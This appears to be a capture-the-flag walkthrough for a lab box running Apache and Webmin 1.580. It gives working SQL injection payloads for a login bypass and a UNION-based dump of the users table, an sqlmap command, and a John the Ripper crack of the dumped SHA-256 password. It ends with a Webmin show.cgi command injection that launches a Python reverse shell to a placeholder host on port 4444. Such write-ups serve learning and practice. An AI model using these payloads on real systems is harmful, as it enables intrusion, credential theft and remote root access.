1. Enumeration

Nmap scan :

PORT	STATE SERVICE REASON	VERSION
22/tcp open	ssh	syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open	http	syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))

WEB

There is a web server running on the port 80. Where we can a basic webpage but with a login form. We can try if it is vulnerable to sql injections with : "' OR 1=1 #--" Using it in the username section, and with any passwords, we can login and get access to /portal.php

2. SQL Injection

We face an application that can retrieve informations about video games reviews. Maybe it is also vulnerable to sql injections. If we enter "'", this throw an error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1 The form is vulnerable to some sql injection.

Without sqlmap

First, we need to know the number of columns used in this form with a UNION SELECT.

> ' UNION SELECT NULL#–

Throw an error

> ' UNION SELECT NULL,NULL#–

Throw an error

> ' UNION SELECT NULL,NULL,NULL#–

Is valid

So we know that there is 3 columns. We will try to display something in thoses columns :

> ' UNION SELECT 'a','b','c'#--

On the web page, we can see that only b and c are displayed.

Now we need to now the databases existing.

> ' UNION SELECT 'a',schema_name,NULL FROM information_schema.schemata; #– Return :

```
 information_schema
db
mysql
performance_schema
sys
```

Let's find the tables of the db database.

> ' UNION SELECT 'a',TABLE_NAME,NULL FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA='db' #--

Which retrieve :

```
 post
users
```

Maybe the users table contain usernames and password. We will need some try to guess the rows of the user table because "username" exist but not "password". After some tries, we can find :

> 'UNION SELECT 'a',username,pwd from users #--

agent47 ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14

With sqlmap

We will capture a request to the form using burp suite, then saving this request. Once done, let's feed sqlmap with our request.

> sqmap -r request.txt --dbms=mysql --dump

pwd	username
ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14	agent47

3. Bruteforce the hash

When passing the hash in the hash-identifier utiliy, we get this result : Possible Hashs: [+] SHA-256 [+] Haval-256

We can try to bruteforce this hash using JohnTheRipper

> john pass.hash --wordlist=/usr/share/wordlist/rockyou.txt --format=Raw-SHA256

videogamer124 (?)

So now we know that agent47:videogamer124

4. Port forwarding

Using :

> ss -tulnp

We can this that there is a service running on port 10000 that we can't access from outside of the host. We will use a local port forwarding to expose the service.

On our host :

> ssh -L 10000:localhost:10000 agent47@

5. Root

When navigating to : localhost:10000 We get to a Webmin page

On the SSH connection,we can find in the /etc/webmin a file called version which tell us : 1.580

We can login to the webmin using the previous creds. Searching online, we can find an Msf module for this version.

https://www.exploit-db.com/exploits/21851

We can also use manually exploit. It's explain in the msf exploit that if we access /file/show.cgi/bin/afnafnafn| command | we can download a file with the result of the command we put, and the command is executed as root.

We can manage to get a shell using :

```
/file/show.cgi/bin/dd|python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("IP",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'|
```